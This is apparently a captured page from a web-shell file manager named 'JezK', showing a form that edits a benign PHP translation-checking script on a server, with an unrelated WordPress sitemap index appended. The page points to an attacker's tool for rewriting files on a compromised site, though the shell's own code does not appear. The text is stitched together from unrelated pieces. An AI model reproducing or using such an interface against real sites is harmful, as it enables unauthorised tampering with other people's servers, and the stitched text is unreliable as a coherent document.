
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: langcheck</h2><form method="post"><textarea name="file_content" rows="10" cols="50">#!/usr/local/bin/php -q
&lt;?php

	/**
	 * This script will generate a report on the status of a language
	 * as compared to the master english translation.
	 *
	 * $Id: langcheck,v 1.5 2005/07/19 18:21:58 soranzo Exp $
	 */
	error_reporting(E_ALL);
	// Prevent timeouts (non-safe mode only)
	if (!ini_get('safe_mode')) set_time_limit(0);

	// Check arguments
	if (sizeof($_SERVER['argv']) != 2 or (
	       is_file($_SERVER['argv'][1]) ? (
	         substr_compare(pathinfo($_SERVER['argv'][1], PATHINFO_EXTENSION), &quot;php&quot;, 0, 3, FALSE) == 0 ? TRUE : FALSE) : FALSE )) {
		echo &quot;Usage: langcheck &lt;language&gt;\n\n&quot;;
		echo &quot;   &lt;language&gt; is the filename without the .php extension\n&quot;;
		exit;
	}
	elseif (!file_exists(&quot;{$_SERVER['argv'][1]}.php&quot;)) {
		echo &quot;Error: File not found.\n&quot;;
		exit;
	}

	// Include english source file
	include('./english.php');

	$master = $lang;
	$master_keys = array_keys($lang);
	unset($lang);

	// Include target language file
	include(&quot;./{$_SERVER['argv'][1]}.php&quot;);
	$slave = $lang;
	$slave_keys = array_keys($lang);

	echo &quot;Source file: english.php\n&quot;;
	echo &quot;Target file: {$_SERVER['argv'][1]}.php\n\n&quot;;

	// Find missing values
	$diff = array_diff($master_keys, $slave_keys);
	echo &quot;Missing Strings\n&quot;;
	echo &quot;---------------\n\n&quot;;
	if (sizeof($diff) &gt; 0) {
		foreach ($diff as $v) {
			echo &quot;\$lang['{$v}'] = '&quot;, str_replace(&quot;'&quot;, &quot;\\'&quot;, $master[$v]), &quot;';\n&quot;;
		}
		echo &quot;\n&quot;;
		echo &quot;Translations: &quot;, sizeof($master_keys) - sizeof($diff), &quot;/&quot;, sizeof($master_keys), &quot;\n\n&quot;;

	}
	else echo &quot;None\n\n&quot;;

	// Find extra values (to be deleted)
	$diff = array_diff($slave_keys, $master_keys);
	echo &quot;Deleted Strings\n&quot;;
	echo &quot;---------------\n\n&quot;;
	if (sizeof($diff) &gt; 0) {
		foreach ($diff as $v) {
			echo &quot;\$lang['{$v}'] = '&quot;, str_replace(&quot;'&quot;, &quot;\\'&quot;, $slave[$v]), &quot;';\n&quot;;
		}
	}
	else echo &quot;None\n&quot;;

?&gt;
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://satyadevaresidency.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-gallery-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-testimonial-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-gallery_cat-1.xml</loc></sitemap></sitemapindex>
